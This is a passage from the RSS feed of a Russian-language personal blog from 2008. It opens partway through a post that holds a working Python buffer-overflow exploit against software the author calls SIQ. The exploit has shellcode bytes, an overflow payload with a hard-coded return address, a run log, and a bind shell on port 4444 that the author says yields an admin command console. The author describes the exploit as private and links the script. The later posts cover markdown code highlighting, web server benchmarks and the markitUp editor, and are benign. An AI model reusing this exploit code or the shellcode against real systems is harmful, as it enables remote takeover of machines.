    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2</span><span class="s">&quot;</span>


    <span class="c">#uin_for_DoS = &#39;A&#39;*1023+&#39;\x90&#39;*418+&#39;X&#39;+&#39;\x90&#39;*418#1860 bytes#</span>
    <span class="n">uin</span> <span class="o">=</span> <span class="s">&#39;A&#39;</span><span class="o">*</span><span class="mf">1072</span><span class="o">+</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&#39;&lt;L&#39;</span><span class="p">,</span><span class="mf">0</span><span class="n">x0072FCF0</span><span class="p">)</span><span class="o">+</span><span class="n">sc</span><span class="o">+</span><span class="s">&#39;</span><span class="se">\x90</span><span class="s">&#39;</span><span class="o">*</span><span class="mf">400</span>
    <span class="n">login</span><span class="p">(</span><span class="n">uin</span><span class="p">,</span><span class="s">&quot;123&quot;</span><span class="p">)</span>
</pre></div>
<p>Запускаем и вуаля...
</p>
<div class="codehilite"><pre>&lt;&lt; 2a 01 68 d3 00 04 00 00 00 01

[+]Connected

-&gt; 2a 01 3b 3e 07 cc 00 00 00 01 00 01 07 53 41 41 41 41 41 41 41 41 41 41 41 41 
...
</pre></div>
<p>Смотрим открытые порты и видим наш 4444 порт В) :
</p>
<div class="codehilite"><pre>C:\\WebServer\\siq&gt;netstat -na

Активные подключения

Имя    Локальный адрес        Внешний адрес          Состояние

TCP    0.0.0.0:135            0.0.0.0:0              LISTENING

TCP    0.0.0.0:445            0.0.0.0:0              LISTENING

TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1026           0.0.0.0:0              LISTENING

                                ...

TCP    0.0.0.0:1035           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1058           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1101           0.0.0.0:0              LISTENING

TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING

TCP    0.0.0.0:5190           0.0.0.0:0              LISTENING

TCP    0.0.0.0:5191           0.0.0.0:0              LISTENING
</pre></div>
<p>Телнетимся к порту <em>telnet 4444</em> и попадаем в cmd консоль с админскими правами.
</p>
<div class="codehilite"><pre>Microsoft Windows 2000 [Версия 5.00.2195]

(с) Корпорация Майкрософт, 1985-2000.



C:\WINNT2\system32&gt;
</pre></div>
<p>Пойду понастальгирую и поковыряю другие коды) Кстати сплойт в нете ещё не выкладывался, будем считать его приватным В) 
</p>
<p><a href="http://slav0nic.org.ua/static/files/sl_siq_expl.py">SIQ Exploit</a>
</p>]]></description>
            <tags>python,hack</tags>
            <comments>http://slav0nic.org.ua/entry/144#comments</comments>
    </item>
    <item>
            <title>Подсветка кода в markdown при помощи pygments</title>
            <link>http://slav0nic.org.ua/entry/143</link>
            <pubDate>2008-04-13 20:05:47 </pubDate>
            <guid>http://slav0nic.org.ua/entry/143</guid>
            <description><![CDATA[<p>Решил прикрутить подсветку к markdown, благо он поддерживает плагины, но писать самоу не пришлось, ибо он уже написан и имя ему <a href="http://achinghead.com/markdown/codehilite/">CodeHilite</a>.
   Поддерживает 3 способа подсветки кода:
</p>
<ul>
 <li>
     GNU Enscript
 </li>

 <li>
     dp.SyntaxHighlighter
 </li>

 <li>
     Pygments
 </li>
</ul>
<p>Для добавления к работе с mardown достаточно скачать mdx_codehilite.py и кинуть его с sys.path. Для работы с pygments необходимо сгенерировать css-файл подсветки кода ну и подключить его к странице в которой будет выводиться код:
</p>
<div class="codehilite"><pre>pygmentize -f html -S colorful -a .codehilite &gt; pygments.css
</pre></div>
<p>Далее всё просто:
</p>
<div class="codehilite"><pre><span class="gp">&gt;&gt;&gt; </span><span class="k">import</span> <span class="nn">markdown</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">txt</span> <span class="o">=</span> <span class="s">&quot;&quot;&quot;</span>
<span class="gp">... </span><span class="s">    :::python</span>
<span class="gp">... </span><span class="s">    #comment</span>
<span class="gp">... </span><span class="s">    print &quot;hello&quot;</span>
<span class="gp">... </span><span class="s">&quot;&quot;&quot;</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">markdown</span><span class="o">.</span><span class="n">markdown</span><span class="p">(</span><span class="n">txt</span><span class="p">,</span> <span class="p">[</span><span class="s">&#39;codehilite(hiliter=pygments)&#39;</span><span class="p">])</span>
<span class="go">u&#39;&lt;div class=&quot;codehilite&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;#comment&lt;/span&gt;\n&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; </span>
<span class="go">&lt;span class=&quot;s&quot;&gt;&amp;quot;hello&amp;quot;&lt;/span&gt;\n&lt;/pre&gt;&lt;/div&gt;&#39;</span>
</pre></div>
<p>Для смены способа подсветки кода необходимо лишь сменить hiliter, за вывод номеров строк отвечает параметр force_linenos (значения on/off).
</p>
<p>Удобная штука;]
</p> ]]></description>
            <tags>markdown,pygments,web</tags>
            <comments>http://slav0nic.org.ua/entry/143#comments</comments>
    </item>
    <item>
            <title>fcgi vs scgi vs cherrypy (web.py dev server)</title>
            <link>http://slav0nic.org.ua/entry/141</link>
            <pubDate>2008-04-13 14:53:20 </pubDate>
            <guid>http://slav0nic.org.ua/entry/141</guid>
            <description><![CDATA[<p>Приспичило посмотреть что есть scgi и чем он лучше.
   Тестил на lighttpd 1.49, возможно по этому результаты немного отличается от <a href="http://cactuswax.net/articles/webpy-performance-comparison-round-2/">предыдущих тестов</a> 
</p>
<p>Тестил при помощи ab на локалхосте. На простом приложении на web.py 0.23 для scgi:
</p>
<p><em>slav0nic@sl:~$ cat /var/www/test/code.fcgi </em>
</p>
<pre><code>#!/usr/bin/python2.5
import web, sys

urls = (
        '/', 'index'
    )
class index:
        def GET(self):  
            web.header("Content-Type","text/html; charset=utf-8")
            print web.ctx   

web.wsgi.runwsgi = lambda func, addr=("127.0.0.1", 4000): web.wsgi.runscgi(func, addr)
if __name__ == '__main__':  
    sys.stderr = open("/dev/null", "a") #не выводим в консоль инфу о коннектах
    web.run(urls, globals())
</code></pre><p>конфиг для mod_scgi:
</p>
<pre><code>scgi.server = ( "/code.fcgi" =&gt; ((   
    "host" =&gt; "127.0.0.1",
    "port" =&gt; 4000,
    "max-procs" =&gt; 1,
    "bin-environment" =&gt; ("REAL_SCRIPT_NAME" =&gt; ""),
    "check-local" =&gt; "disable")
</code></pre><p>))
</p>
<p>для mod_fcgi:
</p>
<pre><code>fastcgi.server =  ".fcgi" =&gt; 
    (("bin-path"=&gt;"/var/www/test/code.fcgi",
     "socket" =&gt; "/tmp/python.socket",
       "bin-environment" =&gt; (
            "REAL_SCRIPT_NAME" =&gt; "",
            "check-local" =&gt; "disable"),
       "max-procs" =&gt; 1,
    ))
</code></pre><p>SCGI-приложение запускалось как простой файл ./code.fcgi c lighttpd общалось через tcp socket (через unix-socket оно похоже и не умеет, увы с доками к mod_scgi полная ж@#$). stderr редиректил в /dev/null, без этого на ~30-50 запросов в секунду меньше (при запусуке в gnome-terminal)
   Длина документа примерно 2Кб.
</p>
<p>Максимальное число запросов в секунду выделено <strong>жирным</strong>, 2й - <em>курсив</em>, выдача статики приведена просто для сравнения и интеерса не представляет =)
</p>
<p>Итакс результаты:
</p> <p>1 конкурирующий запрос, 2к запросов (последовательных)
</p>
<ol>
 <li><p>FCGI, ab  -n2000  localhost/                           <br />
Requests per second:    564.05 
</p>

 </li>

 <li><p>CherryPy/3.0.1 (то что в web.py встроено) ab  -n2000  localhost:8080/          <br />
Requests per second:    <strong>898.09</strong>
</p>

 </li>

 <li><p>SCGI, /usr/sbin/ab -n2000 localhost/                   <br />
Document Length:        2104 bytes        <br />
Requests per second:   _ 674.35_          <br />
Transfer rate:          1503.80 [Kbytes/sec] received
</p>

 </li>

 <li><p>lighttpd static, /usr/sbin/ab  -n2000   localhost/static/  <br />
Document Length:        2455 bytes                <br />
Requests per second:    3053.12
</p>

 </li>
</ol>
<p>5 конкурирующих запросов:
</p>
<ol>
 <li><p>FCGI, /usr/sbin/ab  -n2000  -c5 localhost/                     <br />
Failed requests:        741           <br />
Requests per second:    537.87            <br />
Transfer rate:          1196.75 [Kbytes/sec] received
</p>

 </li>

 <li><p>CherryPy/3.0.1, /usr/sbin/ab  -n2000  -c5 localhost:8080/          <br />
Failed requests:        3                 <br />
Requests per second:    <strong>880.78</strong> <br />
Transfer rate:          1540.49 [Kbytes/sec] received
</p>

 </li>

 <li><p>SCGI,    sl:/etc/lighttpd# /usr/sbin/ab -n2000 -c5 localhost/                                      <br />
Requests per second:    <em>764.70</em> <br />
Transfer rate:          1705.28 [Kbytes/sec] received
</p>

 </li>

 <li><p>lighttpd static, /usr/sbin/ab  -n2000   -c5 localhost/static/      <br />
Requests per second:    3301.76       <br />
Transfer rate:          8449.20 [Kbytes/sec] received
</p>

 </li>
</ol>
<p>25 конкурирующих запросов:
</p>
<ol>
 <li><p>FCGI, /usr/sbin/ab  -n2000   -c25 localhost/                   <br />
Failed requests:        718                               <br />
Requests per second:    500.37                    <br />
Transfer rate:          1112.56 [Kbytes/sec] received
</p>

 </li>

 <li><p>CherryPy/3.0.1 /usr/sbin/ab  -n2000   -c25 localhost:8080/                             <br />
Requests per second:    <em>664.86</em>                  <br />
Transfer rate:          1163.18 [Kbytes/sec] received
</p>

 </li>

 <li><p>SCGI, /usr/sbin/ab  -n2000   -c25 localhost/static/ <br />
Requests per second:    <strong>716.10</strong> <br />
Transfer rate:          1596.89 [Kbytes/sec] received
</p>

 </li>

 <li><p>lighttpd static, /usr/sbin/ab  -n2000   -c25 localhost/static/                 <br />
Requests per second:    3643.83  <br />
Transfer rate:          9311.81 [Kbytes/sec] received
</p>

 </li>
</ol>
<p><strong>PS</strong>: из результатов не понял что есть failed connection при использвоании FCGI, возможно это баг ab, возможно таки fascgi при нагрузке захлёбывался (аналогичное было при scgi, когда я не делал редирект stderr с консоли в /dev/null), хотя при попытках загрузки страницы браузером всё было ок, по результатам ab 40% запросов вернули ошибки...
   От cherry не ожидал такой скорости (при этом я не делал редирект коннектов в /dev/null, а stdio неплохо тормозит работу программы...), scgi выиграл только при значительной нагрузке, думаю при кластеризацие цифра будет ещё больше.
   ЗЫ: для проектов, с большой нагрузкой - fcgi в топку, из недостатоков scgi отмечу лишь "сложность" запуска, софтину надо запускать как демон, при этом прописать bin-path как в mod_fcgi (чтоб сервер сам это делал при старте) - не вышло.
</p>]]></description>
            <tags>web,benchmark,lighttpd,webpy</tags>
            <comments>http://slav0nic.org.ua/entry/141#comments</comments>
    </item>
    <item>
            <title>markitUp</title>
            <link>http://slav0nic.org.ua/entry/140</link>
            <pubDate>2008-04-11 22:39:55 </pubDate>
            <guid>http://slav0nic.org.ua/entry/140</guid>
            <description><![CDATA[<p>На днях возжелал прикрутить к админке какой-нибудь редактор, поддерживающих markdown, при этом являющимся чем-то средним между textarea и WYSIWYG
   Наткнулся на <a href="http://wmd-editor.com">wmd-editor</a>, но что-то он показался уж сильно простым=). С посыла <a href="http://piranha.org.ua/">piranha</a> глянул <a href="http://markitup.jaysalvat.com/">markitUp</a>. На нём и остановился:).
    Из особенной отмечу:
</p>
<ul>
 <li>
     используей jQuery
 </li>

 <li>
     поддерживает:<ul>
 <li>
     html
 </li>

 <li>
     bbcode
 </li>

 <li>
     textile
 </li>

 <li>
     wiki
 </li>

 <li>
     dotclear
 </li>

 <li>
     markdown
 </li>
</ul>

 </li>

 <li>
     легко расширяем + поддерживает плагины
 </li>

 <li>
     нелохо выглядит=) :
 </li>
</ul>
<p><img src="http://markitup.jaysalvat.com/_images/intro.png" alt="markit"/>
</p> <p>Также легко <a href="http://markitup.jaysalvat.com/documentation/">встраивается</a> (даже такое далёкое от javascript существо как я, осилило сей незамысловатый процесс=] ).
   Из особенностей настройки отмечу лишь пару моментов при прикучивании markdown плагина...
</p>
<p>В файле <em>markitup/sets/markdown/set.js</em> в настройках стоит добавить строку:
</p>
<pre><code>nameSpace:      "markdown",
</code></pre><p>И указать <em>previewParserPath</em> , например:
</p>
<pre><code>previewParserPath:      "/entry/preview"
</code></pre><p>Тут начинается интересный момент, в markitup имеется баг, при использовании utf8 в превьюшку посылаются кривые данные, для избавления от бага стоит заменить <em>389</em> строку в <em>jquery.markitup.js</em>, ф-цию <em>escape($$.val())</em> заменить на <em>encodeURIComponent($$.val())</em>.
</p>
<p>Контроллер <em>/entry/preview</em> выглядит просто:
</p>
<p>class Preview:
</p>
<pre><code> def POST(self):
    i = web.input()
    print markdown.markdown(i.data.decode("utf8"))
</code></pre><p>То есть превью текст передаётся в переменной <em>data</em>. Осталось прикрутить pygments к markdown и можно жить В)
</p>]]></description>
            <tags>python,web,webpy,markdown,jquery</tags>
            <comments>http://slav0nic.org.ua/entry/140#comments</comments>
    </item>

</channel>
</rss>

